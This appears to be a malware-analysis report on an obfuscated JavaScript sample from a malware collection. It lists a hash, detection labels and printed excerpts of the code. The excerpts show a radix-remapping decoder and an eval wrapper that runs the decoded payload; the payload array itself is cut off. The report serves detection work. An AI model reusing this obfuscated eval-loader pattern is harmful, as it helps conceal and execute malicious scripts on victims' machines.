Suspicious ^80% javascript-malware-collection Download

20151211_ceaa80bd818d69646820968e3b3abf61.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256b8dfc97f4f638268aef3d794bd79c876995aafdd5a0a17c8e3cb9275e43bb2d1

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function wWVfe(lNZyzVUSUiA,mLQnCZkQjSIDQ,spzzZYYy){izND=parseInt(lNZyzVUSUiA,mLQnCZkQjSIDQ);dmcrO=izND.toString(spzzZYYy);return dmcrO;}function VdGPYtsXmitADOQ(DqqktAcaXfygSknKL){eval(DqqktAcaXfygSknKL)}
3function WMVWqHqLtqEGAqNWCBuQCBBgGqziKcJGNIODcUdoOABOPQQAAmdybR(jnwapHfffWcik,ybLaPiHnujbUzb){ return FeFfN[wWVfe(jnwapHfffWcik[ybLaPiHnujbUzb],(16194+585)/799,(3269+171)/344)];}
4function UKnMLKk(jUmyMYUXiwgsBXrkKcppejPxfnBbGBUznRfJ) {return !isNaN(parseFloat(jUmyMYUXiwgsBXrkKcppejPxfnBbGBUznRfJ)) && isFinite(jUmyMYUXiwgsBXrkKcppejPxfnBbGBUznRfJ);}
5function iBZxjFuZHjL(FwTqcbbb,puyxFt){return FwTqcbbb.split(puyxFt)}
6var T=new Array("d","a","d","a","5d","4d","59","1b","5h","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  IsDKa=[T,P];
9var WBXvSfWfm=[];
10function VTHxrrTEtrHxICgro(IsDKa){rVzFboqHdHr= '';FhicGRJlMkj=(-456+456)/953; while(true){if(FhicGRJlMkj >= (1285+519)/902)break;WBXvSfWfm[FhicGRJlMkj]=(-949+949)/916; while(true) { if(WBXvSfWfm[FhicGRJlMkj] > IsDKa[FhicGRJlMkj].length-(164+235)/399) { break; } if (UKnMLKk(wWVfe(IsDKa[FhicGRJlMkj][WBXvSfWfm[FhicGRJlMkj]],(9732+390)/482,(2262+748)/301))) {rVzFboqHdHr += WMVWqHqLtqEGAqNWCBuQCBBgGqziKcJGNIODcUdoOABOPQQAAmdybR([IsDKa[FhicGRJlMkj][WBXvSfWfm[FhicGRJlMkj]]], (-705+705)/455);} WBXvSfWfm[FhicGRJlMkj]++;}FhicGRJlMkj++;} return rVzFboqHdHr}
11VdGPYtsXmitADOQ(VTHxrrTEtrHxICgro(IsDKa));